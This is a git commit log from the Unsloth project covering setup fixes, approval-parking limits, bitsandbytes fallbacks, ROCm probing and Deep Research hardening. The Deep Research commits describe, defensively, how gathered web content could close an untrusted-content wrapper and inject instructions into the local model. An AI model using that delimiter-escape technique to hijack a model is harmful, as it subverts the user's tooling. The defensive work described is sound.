Windows setup: route the stale-manifest failure through Exit-SetupFailure (#7569)
The manifest-removal guard added in #7492 exits with a bare 'exit 1', so in
Tauri mode the installer never emits the [TAURI:ERROR] line and the desktop
UI falls back to a generic failure instead of naming the cause. Every other
failure path in studio/setup.ps1 goes through Exit-SetupFailure, and
tests/sh/test_tauri_retry_failure_context.sh asserts that invariant, so
'Repo tests (CPU)' has been red on main since that merge.

Co-authored-by: danielhanchen <unslothai@gmail.com>
2026-07-28 14:54:01 -07:00
Daniel Han
5fe457ad01
Studio: bound how many tool approvals may park their slot (#7496)
* Bound how many approvals may park, against the executor

#7455 landed parking, which is the right shape and supersedes what this branch
was carrying. It is unbounded, though, and the thing it is unbounded against is
not the GPU.

A run stopped on an approval prompt is blocked inside the to_thread(next, gen)
call that drives it, so it holds one of asyncio's default min(32, cpu + 4)
executor threads until the user answers. The slot cap used to bound that.
Parking hands the slot back, which admits another run that can park too, so the
ceiling became the wait line: 64 deep on a 1-slot backend. Long before that, the
executor is full and nothing else in the backend runs, including generation
steps for chats that already hold slots and the stream teardown that would clean
up after a disconnect.

The pool already permits `capacity` pending prompts, and each park adds one
more, so the budget is what the executor has left after the cap and a reserve of
4. On this machine (32 workers) --parallel 4 gets 8 parks and 20 free threads,
--parallel 24 gets 4 and 4, and --parallel 28 or higher gets none: there the
prompt keeps its slot and behaves exactly as it did before parking existed.

Counted process-wide rather than per queue. There is one executor, but a
per-queue budget is the same allowance again for every backend, and base_url
carries a fresh port on every model load, so a reload would mint a queue that
knows nothing about the approvals still parked on the old one. A reset clears it
too, or a leaked claim shrinks the budget for the life of the process.

park() reports whether it took the budget, and a refusal costs nothing to undo
because the slot never left its holder. The stream reads that answer rather than
recording a refused park as parked, which would make it skip the park for every
later approval in the same run even once the budget freed up.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Size the park budget from the executor's own CPU count

Two review findings, both real.

The budget read os.cpu_count(). 3.13 sizes ThreadPoolExecutor from
os.process_cpu_count(), which honours CPU affinity and cgroup quotas, and
asyncio's default executor is a plain ThreadPoolExecutor(), so a container
pinned to one core on a 64-core host got a 5-thread executor and a budget
computed from 64. The bound was then looser than no bound at all in exactly the
environment that can least afford it. It asks the same source the executor does,
and the test compares against a real ThreadPoolExecutor rather than restating
the formula, so it stays right on 3.12 as well.

The reserve was a flat 4, which on that same 5-thread executor left nothing to
budget and turned parking off entirely. Small hosts are where a chat most needs
to keep moving while another sits on a prompt. It scales now, and the ceiling
has a floor of two: a quarter of five is one, and one park cannot cover two
chats on prompts at once, which is what #7455's own two-approvals test needs.
Without that floor, that test fails on a one or two CPU runner. `spare` still
takes the budget to zero when the pool already fills the executor, so nothing
about a 32-worker machine changes: --parallel 4 still gets 8 parks, 24 gets 4,
28 gets none.

The two behavioural budget tests pin the worker count rather than reading it off
the runner, and the property test sweeps executor sizes from one CPU to 64
instead of asserting against whatever the host happens to have. The whole suite
passes with the CPU count faked to 1, 2 and 4, which is how both of these were
reproduced.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Size the park budget from every live backend, and free it on the answer

Two review findings, both real.

The budget was global but sized from one queue's capacity. A reload mints a
queue on a new port while the old one drains, so both are live, and prompts on
both park executor threads. Eight parks on an old 1-slot queue plus a new
24-slot backend is 32 threads on a 32-thread executor, with the new backend's
prompts refused and holding their slots, which is the state the reserve exists
to prevent. It sums the capacity of every backend still serving instead. Idle
queues are skipped: those are the ones the registry is about to evict, and they
are holding nothing.

The budget also outlived the wait it was paying for. unpark_async only dropped
it after reacquiring a slot, but the generator yields its post-approval event
first, so the executor thread is already back in the pool while the resume
queues. An approved chat waiting on a slot would refuse a different chat's park,
and that chat then keeps the slot the resumer is waiting for, so an unanswered
prompt strands chats that were already approved. The budget is released when the
prompt wait ends now, and the queue's parked count still runs until the slot is
back, which is what guards idle eviction and the resume ordering.

Both are separate counters on the lease as a result, and every exit from a park
drops the budget: unpark, unpark_async and release. That last one was the mutant
that came back missed, since a client disconnecting on a prompt releases
straight out of parked and would otherwise lose a budget slot for good.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten the comments on the park budget

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-28 14:49:21 -07:00
Daniel Han
52a9601032
Keep import unsloth working when bitsandbytes is absent (#7502)
* Keep `import unsloth` working when bitsandbytes is absent

device_type.py already prints "bitsandbytes is not installed - 4bit QLoRA
unallowed, but 16bit and full finetuning works" and clears
ALLOW_BITSANDBYTES / ALLOW_PREQUANTIZED_MODELS, but the import chain then
hard-required the module anyway, so `import unsloth` raised instead.

#7354 made this reachable: the gfx906 install path uninstalls the generic
bitsandbytes wheel (no gfx906 kernels in it), which leaves an MI50 / Radeon VII
host unable to import unsloth at all, not on the 16bit path the message
promises.

- kernels/utils.py: guard the bnb import; bind get_ptr and the five 4bit ctypes
  handles to a stub that raises a clear message if a 4bit path is entered.
  HAS_CUDA_STREAM stays False, which is the correct route.
- save.py, models/granite.py: guard Bnb_Linear4bit and peft's Linear4bit
  (peft exports it only when bnb imported cleanly) with placeholder classes.
  Both names only feed isinstance checks, so nothing matching is exact.
- _gpu_init.py: same degradation on the xpu branch as the cuda branch above.

Verified on a Strix Halo (gfx1151, DEVICE_TYPE=hip, torch 2.11.0+rocm7.13.0)
by blocking bitsandbytes with sys.modules["bitsandbytes"] = None, so
find_spec returns None and the import raises exactly as when the package is
absent. Before: ModuleNotFoundError at kernels/utils.py:136. After: import
succeeds, FastLanguageModel/FastModel import, ALLOW_BITSANDBYTES=False,
ALLOW_PREQUANTIZED=False, and the 4bit stub raises with the real cause. With
bitsandbytes present, every binding is unchanged.

New test walks the `import unsloth` module graph with ast and fails on any
unguarded bitsandbytes (or peft Linear4bit) import; verified it catches the
old code. Targeted suites: 702 passed, 18 skipped.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address the review on #7502: zoo coupling, non-hip flags, py3.9 collection

Three findings, each reproduced first and negative-controlled after.

1. The fix still needed an unreleased unsloth_zoo (P1). save.py imported
   unsloth_zoo.saving_utils at module scope, and any zoo without the companion
   #953 fix imports bitsandbytes there, so `import unsloth` kept failing for a
   dependency set pyproject.toml allows. Raising the floor was not an option:
   PyPI's newest zoo is 2026.7.6 and #953 is merged but unreleased, so a bump
   would break every install today. Both names it pulled in are used only inside
   functions, so the import is now lazy at those two call sites, matching what
   determine_base_model_source in the same file already does. Verified against a
   real pre-#953 zoo checkout with bitsandbytes blocked: import succeeds, and
   restoring the eager import reproduces the failure at saving_utils.py:70.
   This PR no longer depends on a zoo release.

2. Capability flags were only cleared on hip (P2). device_type.py probed
   bitsandbytes inside its DEVICE_TYPE == "hip" branch, so a cuda or xpu host
   without bnb imported fine but still reported ALLOW_BITSANDBYTES=True, and the
   default load_in_4bit=True path in models/loader.py would select a 4bit
   checkpoint before failing. Clear both flags whenever the module is absent, on
   every backend, via find_spec so a working install pays nothing. A cuda host
   with bnb blocked now reports False/False; with bnb present nothing changes.

3. The new test could not be collected on Python 3.9 (P2). `Path | None` is a
   PEP 604 union and requires-python still allows 3.9, so pytest raised
   TypeError at import. Added `from __future__ import annotations`. Checked in
   real uv venvs on 3.9, 3.10 and 3.13: 2 passed each; removing the future
   import reproduces "unsupported operand type(s) for |" on 3.9 only.

The xpu branch in _gpu_init.py needs no separate flag handling now that the
probe is backend-independent.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address the second review on #7502: guarded probe, and 8bit in the same guard

1. The capability probe used find_spec while the fallbacks in kernels/utils.py
   and _gpu_init.py treat any import failure as unavailable, so an installed but
   unusable wheel would leave ALLOW_BITSANDBYTES true while the kernels had
   already bound the stub. Probe with the same guarded import instead, so all
   three agree by construction. No new cost on any path: _gpu_init.py already
   imports bnb before device_type is reached on cuda, and device_type's own hip
   block imports it a few lines later.

   Worth recording that the state this prevents is currently unreachable for an
   unrelated reason: a broken wheel takes `import unsloth` down earlier, in
   transformers/integrations/bitsandbytes.py:20 via
   unsloth_zoo/patching_utils.py:680, whichever exception it raises (OSError also
   escapes the zoo moe_utils `except ImportError`). So this is correctness for
   when those imports get guarded, not an observable fix today.

2. Both loader guards printed for load_in_4bit or load_in_8bit but only cleared
   load_in_4bit, so an explicit load_in_8bit=True survived and reached
   Transformers, which builds the bnb quantizer and fails there. Clear both. The
   message no longer says AMD either: the flag now goes false whenever bnb is
   unusable on any backend.

Tests: the probe must not use find_spec, and an ast walk requires every
ALLOW_BITSANDBYTES guard in loader.py to clear both flags, so a third guard
cannot be added with the same omission. Dropping either fix reddens them (1 and
2 failures respectively). 4 passed on 3.9, 3.13 and the ROCm venv; absent and
healthy bnb both stay consistent across hip and cuda.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Drop the importlib import left over from the find_spec probe on #7502

* Address the third review on #7502: exact-name bypass and a forwarded bnb config

Both findings hold up, so both are fixed.

1. use_exact_model_name=True skipped the guard entirely. load_in_4bit defaults
   to True, so on a host without bitsandbytes
   FastLanguageModel.from_pretrained(name, use_exact_model_name=True) kept 4bit
   set and failed downstream. That option suppresses repo-name remapping and
   cannot make bitsandbytes available, so it has no business gating a capability
   check. Ungated at both sites.

2. A user-supplied quantization_config survived the fallback. It sets
   load_in_4bit/8bit at the top of from_pretrained and stays in kwargs, so
   clearing the local flags still let Transformers rebuild the bnb quantizer.
   Now dropped as part of the fallback.

One correction to the second suggestion: it cannot be dropped whenever the
fallback runs. quantization_config also carries GPTQ, AWQ, fp8 and torchao
configs, which have nothing to do with bitsandbytes and must reach the loader
untouched. The pop is gated on the config actually requesting load_in_4bit or
load_in_8bit, reusing the same dict/attr probe from the top of the function.

Behaviour, exercising the real guard block against synthetic inputs with
use_exact_model_name=True and bnb unusable:

  default 4bit, no cfg          4bit=False 8bit=False
  explicit 8bit, no cfg         4bit=False 8bit=False
  BitsAndBytesConfig(4bit/8bit) 4bit=False 8bit=False  config dropped
  dict bnb config               4bit=False 8bit=False  config dropped
  GPTQ config                   4bit=False 8bit=False  config SURVIVES
  fp8 dict                      4bit=False 8bit=False  config SURVIVES

Nothing changes when bitsandbytes works: the whole block is inside
`if not ALLOW_BITSANDBYTES`.

Tests: an ast walk requires neither guard to reference use_exact_model_name in
its test, and requires each to pop quantization_config behind a _wants_bnb
check, so an unconditional pop fails too. Re-gating one guard or removing one
pop reddens a test each. 6 passed on 3.9, 3.13 and the ROCm venv.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address the fourth review on #7502: FastModel never reached the 16bit path

Both findings are real, and the second one meant this PR did not actually
deliver what it advertises for FastModel or vision loads. Reproduced first.

1. patch_compiling_bitsandbytes() ran unguarded at the top of
   FastModel.from_pretrained, and unsloth_zoo's copy imports bitsandbytes
   unconditionally (patching_utils.py:40). So every FastModel call on a
   bnb-less host died there, whatever the arguments:

     FastModel(load_in_16bit=True)    -> ModuleNotFoundError at patching_utils.py:40
     FastModel(full_finetuning=True)  -> ModuleNotFoundError at patching_utils.py:40

   The FastLanguageModel path already wraps this call in try/except with a
   warning, and its comment even says "Mirror FastModel" - FastModel was the
   unwrapped one. Wrapped it the same way, so behaviour is unchanged wherever
   bitsandbytes imports.

2. The mode-exclusivity check ran before the capability fallback. load_in_4bit
   defaults to True, so load_in_16bit=True made
   int(load_in_4bit) + int(load_in_16bit) == 2 and raised "Can only load in 4bit
   or 8bit or 16bit" before the fallback could clear the unavailable 4bit
   request. Moved the fallback ahead of that check.

After both, the same three calls get past every bitsandbytes gate and reach
model resolution, failing only on the deliberately fake repo name used by the
probe. Nothing changes when bitsandbytes works: the fallback is still inside
`if not ALLOW_BITSANDBYTES`, and the wrapper only swallows an import that
previously crashed the load.

Tests: the mode check must be preceded by an ALLOW_BITSANDBYTES fallback in the
same function, and no call to patch_compiling_bitsandbytes may sit outside a
try. The ordering assertion is scoped to the enclosing function on purpose - my
first version compared line numbers file-wide, so the other loader's guard
satisfied it and the negative control passed when it should have failed. With
the scoping fixed, moving the fallback back after the mode check reddens it, as
does unwrapping the patch call. 8 passed on 3.9, 3.13 and the ROCm venv.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-28 08:03:54 -07:00
Wasim Yousef Said
65b4d9d9e7
Add Unsloth desktop deep links (#7560)
* Add Unsloth desktop deep links

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address deep-link review feedback

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-28 16:52:53 +02:00
Daniel Han
71f7e1087b
Studio: run the src-tauri unit tests in CI and fix the two that never ran (#7558)
studio-tauri-smoke.yml only ever built the crate, so none of its ~100 unit
tests executed. Running them surfaced two that were broken on platforms CI
never exercised:

- non_utf8_import_name_preserves_csv_extension built a filename containing a
  raw 0xFF byte. Linux stores that fine, macOS enforces UTF-8 on APFS/HFS+ and
  refuses to create it, so the test panicked on the unwrap. Skip when the
  filesystem rejects the name; the branch under test is only reachable where
  such a file can exist.

- losing_a_studio_package_changes_the_fingerprint created the posix venv
  layout unconditionally, but site_packages_dirs() only walks
  lib/<pyver>/site-packages on unix and looks at Lib/site-packages on Windows.
  The dist-info was therefore invisible to the fingerprint there, removing it
  changed nothing and the assert_ne could never hold. Build the layout the
  code actually reads for the target platform.

Add the cargo test step to the existing Tauri job, where the toolchain and
WebKit dev packages are already installed.
2026-07-28 07:01:13 -07:00
Michael Han
9e568c14e6
fix(studio): stop re-tokenizing the whole code block on every frame while streaming (#7537)
* fix(studio): reuse cached tokens while highlighting streaming code blocks

A streaming fence re-enters highlight() every animation frame with the whole
block, so Shiki re-tokenizes it from scratch each time: O(length) per frame and
O(length^2) over the message. One generation made 808 highlight() calls and
tokenized 5.5MB of text to render a 13.5KB block, putting ~50% of the renderer
main thread in the TextMate tokenizer.

Blocks under 2000 chars are unchanged. Above that, a growing fence reuses the
tokens from the last real tokenization and appends the new tail unstyled, with
a full re-tokenize at most every 250ms.

* fix(studio): render the streamed tail unstyled and always converge

Two defects found while property-testing the reuse path:

- plainLine() spread the template token, so newly streamed lines inherited the
  first token's colour instead of the default foreground. Emit a bare token.
- A reused result could be the final one if the caller stopped re-rendering,
  leaving the tail permanently unstyled. Schedule a trailing re-tokenize so a
  reused run always converges.

* fix(studio): key the highlight cache per fence and keep tokens paired with code

Review found four real defects in the previous approach:

- entry.code advanced at dispatch time while entry.result still held the older
  tokens, so a reuse could slice one against the other and drop text from the
  cached run's final line.
- A finished fence re-rendered with identical code re-dispatched every frame,
  keeping the per-frame cost for the rest of the stream.
- All fences of one language shared a single entry, so sibling fences evicted
  each other and both were fully tokenized on every render.
- An overdue trailing timer could dispatch stale code after a newer dispatch.

Cache is now one slot per fence, matched by longest prefix. code and result
only ever move together, an exact match is served straight from cache, and a
direct dispatch or a slot eviction cancels any pending trailing refresh.

* Studio: adopt synchronous highlight results and use a monotonic throttle

@streamdown/code answers out of its own cache synchronously and never invokes
the callback in that case. dispatch() ignored that return value, so the slot
kept pointing at the older tokens. On the trailing refresh, where nothing else
consumes the return, that left the fence showing its unstyled tail until an
unrelated remount. Adopt the synchronous result on both paths and hand it to
the pending callback.

Drive the throttle off performance.now(). Date.now() is wall clock, so a
backward step from an NTP correction or a resume from sleep makes elapsed
negative, which pins the reuse branch on and schedules the trailing refresh by
the size of the step.

* Tighten code-plugin comments

---------

Co-authored-by: shimmyshimmer <info@unsloth.ai>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
2026-07-28 06:30:28 -07:00
Wasim Yousef Said
4c2df3e6f8
Studio: fix macOS titlebar drag and collapsed layout (#7555)
* Fix macOS Studio titlebar interactions

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Refine macOS titlebar alignment

* Hide collapsed macOS sidebar border

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-28 15:26:17 +02:00
Willow Lopez
77971d0deb
fix(rocm): prefer system LLVM runtime on native Linux (#7448)
* fix(rocm): prefer system LLVM runtime on native Linux

* Fix/adjust the nested LLVM probe for PR #7448: lib64 hosts and non-directories

Two gaps found while simulating the fix against real ROCm layouts.

1. lib64 hosts got no LLVM dir. The candidate was built from the HSA dir, so a
   host with libhsa-runtime64 under lib64 probed <root>/lib64/llvm/lib. ROCm
   installs LLVM under <root>/lib/llvm regardless, so that host kept binding
   system libamd_comgr to the bundle's libLLVM: exactly the bug #7446 reports.
   Probe both spellings, the HSA dir's own first so a genuine lib64 layout still
   wins. When lib_sub is already "lib" the seen set collapses them.

2. os.path.exists accepted a non-directory. The serve-time caller joins these
   straight into LD_LIBRARY_PATH with no is-dir filter, so a file named
   llvm/lib reached the loader. os.path.isdir instead.

Verified on a 27-case matrix built from real directory trees (not mocks), run on
both Windows and Linux against three revisions: main, this PR as-is, and this
commit. Zero regressions and zero reorderings of the pre-existing entries in
every case, and the installer and launcher copies never disagree. The lib64 case
goes [lib64] -> [lib64, lib/llvm/lib]; the file case drops the bogus entry; a
symlinked llvm/lib resolves correctly on Linux.

End-to-end loader check: built real ELF objects mirroring the shipped bundle
(RUNPATH=$ORIGIN, an incomplete libLLVM.so.23.0git next to llama-server, system
comgr from /opt/rocm/lib) and reproduced the reported failure verbatim, then
confirmed the prepend clears it:
  before  undefined symbol: LLVMInitializeSPIRVTarget  ->  after  exit 0

Test helper now patches os.path.isdir alongside os.path.exists, else every fake
host reports its nested llvm dir as missing. New cases: lib64 finding llvm under
lib, lib64 preferring its own when both exist, and a real-filesystem check that a
non-directory is not prepended. Removing the lib fallback from one copy reddens
three tests including the two-copy parity guard.

tests/studio/install: 1361 passed on Linux, 4 pre-existing environmental
failures unchanged (3 managed-node-runtime under root, 1 the real /opt/rocm case
already covered by #7397). 30/30 on the helper suite on Windows and Linux.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-28 06:19:29 -07:00
oobabooga
20006dbce7
Studio: improve Deep Research synthesis (#7393)
* Studio: add durable Deep Research workflows

* Studio: preserve research integration after upstream updates

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: keep research worker compatible with Python 3.11

* Studio: address Deep Research lifecycle review

* Studio: preserve durable research recovery

* Studio: preserve research stream and context

* Studio: harden research sources and limits

* Studio: align research with shared chats

* Studio: guard durable research actions

* Studio: protect durable research turns

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: deepen durable research decisions

* Studio: protect research prompts and queries

* Studio: slim research stream deltas

* Studio: preserve research evidence and citations

* Studio: harden Deep Research (CI, prompt injection, query PII, config, citations)

- Fix backend CI: add research_runs_router to the synthetic routes stub in
  test_desktop_auth so studio.backend.main imports under the health-check test.
- Escape prompt-delimiter tags in the decision and synthesis prompts so gathered
  web/document content cannot close an <untrusted_...> wrapper and inject
  instructions into the local planner/decision/synthesis model.
- Extend the public-query sanitizer to redact Luhn-valid payment cards, phone
  numbers, non-global IPs, and labeled private identifiers before a query can
  reach web search.
- Reject nested credential keys in inferenceRequest and ragScope, not just
  top-level keys, when persisting a durable run config.
- Treat maxSources as one budget shared across web and document sources
  (collection and resume paths) instead of per type, which allowed up to 2x the
  configured cap.
- Preserve document citations whose filename contains a closing bracket by
  tokenizing valid citations before stripping invalid ones.
- Persist Deep Research off when switching to an external model and when enabling
  Web Fetch so a refresh cannot rehydrate a mutually-exclusive state.
- Add regression tests for the query, prompt, citation, and config hardening.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: make the research claims table migration atomic

The owner-scoped to global claims migration ran its RENAME, CREATE, INSERT and DROP in autocommit, so an interruption after CREATE left the new table empty, orphaned the rows in the legacy table, and never re-triggered. Wrap the rebuild in an explicit transaction so a crash rolls back cleanly and the migration re-runs on the next boot.

* Studio: block message edits and regeneration during an active research run

After a reload a durable research run is followed by the research store rather than an assistant-ui run, so thread.isRunning is false while research is still active. Message edit, refresh and the edit composer previously gated only on isRunning, which let a normal generation start alongside the running research run. Gate them on the active thread's research state as well.

* Studio: keep the plan review mounted through approval

Keying PlanReview on planRevision remounted it mid-approve when updateResearchPlan bumped the revision, resetting the local pending flag and re-enabling Start research while the approve was still in flight, which allowed a duplicate approve. Key on runId only.

* Studio: drop the redundant deep-research persistence change

setCheckpoint already persists Deep Research off for external models at the top of the function, so the added saveBool was a duplicate, and clearing Deep Research from setWebFetchToolsEnabled guarded a state that is not reachable (Deep Research is local-model only while the Web Fetch pill is external-provider only). Revert both to the pre-hardening version.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: harden Deep Research citations, query privacy, and message protection

Address review findings in the Deep Research backend:

- Escape an unbalanced ")" in citation destinations so a source URL cannot
  close the markdown link early and inject a second link, keeping balanced
  parentheses literal.
- Match raw-URL citations on whole tokens so a URL sharing another URL's
  prefix is no longer partially rewritten.
- Redact non-global IPv6 addresses in public search queries, matching the
  existing IPv4 handling.
- Detect credential key names after normalizing case and separators so nested
  openaiApiKey, accessToken, and clientSecret values cannot be persisted.
- Reject client edits to server-managed research prompts and reports at the
  storage layer; only the internal writers pass allow_research_update.
- Scope research searches to the first allowed domains instead of dropping
  site scoping for large allow lists.
- Persist the same fetch evidence bound used during live synthesis so a
  resumed run is not shortened.
- Scope run completion so it only replaces this run's message parts.

Add regression tests for the above.

* Studio: fix Deep Research SSE framing, source counts, and favicon privacy

- Normalize the whole SSE buffer so a CRLF split across transport chunks
  still frames events.
- Count web and document sources together in the activity header so a
  RAG-only run is not shown as zero sources.
- Cap the plan editor at the run's configured maxSteps instead of a
  hard-coded 30.
- Add an allowRemoteIcons opt-out to the sources components and disable
  third-party favicon requests for research sources so visited domains are
  not leaked.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: address final Deep Research review findings

* Studio: fit Deep Research synthesis evidence to loaded context, add opt-in web grounding

Size the synthesis evidence budget to the loaded model context so the prompt is not
silently truncated on small contexts. When the evidence overflowed the window the report
degenerated (it echoed the evidence tail instead of writing); the budget now reserves tokens
for the prompt scaffolding and converts the remainder to chars, keeping the full cap when the
context is unknown.

Add opt-in web grounding for auto-read: read the top search results, ingest them into an
ephemeral RAG scope, hybrid-retrieve the passages most relevant to the question with the
existing knowledge-base retriever, and fold those chunks into the step evidence. The scope is
per call and deleted afterwards, so a user's knowledge base is never touched.

Off by default; enable with UNSLOTH_RESEARCH_AUTO_SCRAPE=1. Gated per run by
budgets["maxAutoScrape"], so runs created without it keep legacy snippet-only behavior, and
grounding is skipped when the loaded context is too small for the prompt.

Add tests for the adaptive evidence budget, scraped-text cleaning, the ephemeral web-RAG
retrieval and scope cleanup, and the auto-read evidence path.

* Studio: read Deep Research synthesis context from the inference orchestrator

Make the adaptive synthesis-evidence budget actually engage in the normal Studio
architecture. _loaded_context_length read core.inference.inference, the low-level backend that
lives in the model subprocess and stays unpopulated in the main web process where the research
supervisor runs, so it returned None and the budget silently fell back to the 32000 character
cap (leaving the report exposed to the truncation this was meant to fix). Read the inference
orchestrator instead, and the llama.cpp backend for GGUF, mirroring
routes.inference._monitor_context_length so the budget sizes to the context the API layer
serves. Verified on a running server: at a 12288 token load the probe now reports 12288 and the
budget adapts to 24576 characters instead of the 32000 fallback.

Also:
- Reserve context for the generated report as well as the prompt scaffolding (raise the reserve
  to 4096 tokens) so evidence does not crowd out the output on a small window.
- Honor a numeric UNSLOTH_RESEARCH_AUTO_SCRAPE by passing the per-run maxAutoScrape as the page
  cap to the scraper, instead of always reading the maximum.
- Guard the web-RAG connection acquisition so a get_connection failure returns the documented
  empty result rather than propagating.
- Add a synthesis-context test that patches the real backend accessor (not the probe itself) so
  the production wiring is exercised, plus a scrape page-cap test.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: harden Deep Research query redaction and research autosave

- research_runs: extend the opaque-token allowlist so unlabeled Hugging
  Face (hf_) and GitLab (glpat-) tokens are redacted before a query can
  reach web search, without over-redacting public model or version ids.
- runtime-provider: for a server-managed research message, echo the
  backend-stored metadata verbatim on autosave. Merging the client
  metadata re-added client-only fields the server never persisted, so the
  server-side guard saw a diff and rejected every streamed or snapshot
  update with 409.

* Studio: keep composer tool pills always accessible after merge

The merge left the composer line marked always-expanded (data-expanded
"true") while the inner pill row was still gated behind composerExpanded,
so the Search and Code toggles disappeared once the permission mode was
"off" with no other toggle set. Render the primary tool pills
unconditionally, matching the always-expanded layout, and drop the now
unused composerExpanded and permissionMode locals. Fixes the Chat UI
Playwright check that asserts the Search and Code pills stay visible.

* Studio: update Deep Research composer contract to always-expanded layout

The always-expanded composer no longer routes effectiveDeepResearchEnabled
through a composerExpanded expression, so the frontend contract now checks
that it gates the Deep Research composer button render instead.

* Studio: do not bind a research run to a populated assistant reply

create_run adopted any assistant message under the user turn whose
researchRunId was unset, including a prior answer reused by a retry. On
completion _update_assistant drops the untagged text and source parts, so
that answer was silently overwritten. Only bind to an empty placeholder or
this run's own message, and reject a reply that already carries content.

* Studio: harden Deep Research synthesis budget, prompt shielding, and message protection

- research_runs: split the synthesis evidence budget evenly across notes so a
  small context still keeps a slice of every research step instead of dropping
  the later steps after the earliest ones fill the budget.
- research_runs: shield the research question and approved plan before placing
  them in the decision and synthesis prompts, so a closing delimiter in either
  cannot escape its block and inject sibling sections.
- research_runs: redact bearer authorization tokens from public search queries.
- studio_db: include attachments in the research-message change check and guard
  direct attachment deletion, so server-managed research prompts and responses
  cannot be mutated through the attachment paths.
- chat_history: map the protected-message conflict on attachment deletion to 409.

* Studio: strip invalid document citations that contain brackets

The invalid-citation regex stopped at the first closing bracket, so a
citation whose filename contained brackets left its tail (".pdf, p. 9]") in
the report. Match a balanced bracketed span so the whole invalid citation is
removed; valid citations stay protected by the earlier tokenization pass.

* Studio: free the RAG search slot when a lookup times out or is cancelled

The bounded knowledge-base search held the sole admission slot in a detached
worker until the search returned, so a lookup that outlived its timeout (a
stalled embedding or blocked vector call) kept the slot forever and starved
every later lookup, disabling knowledge-base retrieval globally. Release the
slot from the caller when it stops waiting, exactly once, so a detached worker
finishes without re-holding it.

* Studio: remove Websites label from research composer

* Studio: fix Deep Research review findings (RAG slot bound, orphaned workers, hardening)

- Bound the shared RAG search slot to one running worker. The search that is
  doing the embedding/index/GPU work now owns the admission slot until it
  finishes, instead of freeing it on caller timeout while the detached worker
  keeps running, which let a second search enter and stack concurrent work
  behind the capacity-of-one semaphore.
- Cancel active research runs before deleting their thread, project, or all
  history. Deleting cascade-drops the run row, but the worker only notices at
  its next lease check, so it could keep doing model/web/RAG work for a run
  that no longer exists; signalling cancel first shortens that window.
- Shield the planner prompt's conversation and question with _shield_untrusted,
  matching the decision and synthesis prompts, so untrusted text cannot forge
  planner delimiters.
- Do not let a research key-revocation failure replace a successful
  non-streaming completion; log it like the streaming path does.
- Include created_at in the protected research-message guard so a client cannot
  reorder server-managed prompt/response messages while leaving the body intact.
- Reject non-scalar ragScope values; a nested container evades the
  sensitive-key scan when its inner keys are unlisted and would reach retrieval
  code that expects a scalar scope id.

Adds regression tests for each.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: remove research composer globe icon

* Studio: use Hugeicons telescope in research composer

* Studio: use Telescope02 icon in research composer

* Studio: standardize Deep Research telescope icons

* Studio: move Deep Research below web and code tools

* Studio: merge grounded page excerpts with search snippets instead of replacing

When auto-scrape grounding retrieved page-body chunks, it replaced the raw
search-result text for that step. If the retrieved chunk was a distractor or
dropped the key fact, the answer-bearing search snippet was lost and grounded
runs regressed below snippet-only accuracy on factual questions (e.g. returning
Apache 2.0 instead of the Qwen License, 403 instead of 404, or a single mirror
diameter instead of the sum).

Keep the search snippets and append the grounded excerpts as supplementary
evidence via a small _merge_scraped_evidence helper. Grounding stays opt-in and
off by default, so legacy runs are unchanged. Adds regression tests.

* Studio: improve Deep Research synthesis

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: harden Deep Research synthesis flow

* Studio: validate Deep Research derived context

* Studio: align Deep Research synthesis evidence

* Studio: restore Deep Research synthesis state

* Improve Deep Research source queries

---------

Co-authored-by: alkinun <alkinunl@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
2026-07-28 05:59:15 -07:00
Lee Jackson
d7594ec10f
Fix Windows no-torch setup (#7511)
* Fix Windows no-torch setup

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix no-torch env normalization on Windows

* Accept on for Windows no-torch mode

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Keep no-torch mode across studio update on Windows

Guarding the direct torch/Triton install made `install.ps1 --no-torch`
actually produce a torch-free venv, which then broke the next
`unsloth studio update`. That path exports no UNSLOTH_NO_TORCH, so
$NoTorchMode was false, the stale-venv check read the missing torch as a
broken venv, and setup tried to delete the venv it was running out of:

  [ERROR] Could not remove stale venv: Access to the path 'python.exe' is denied.

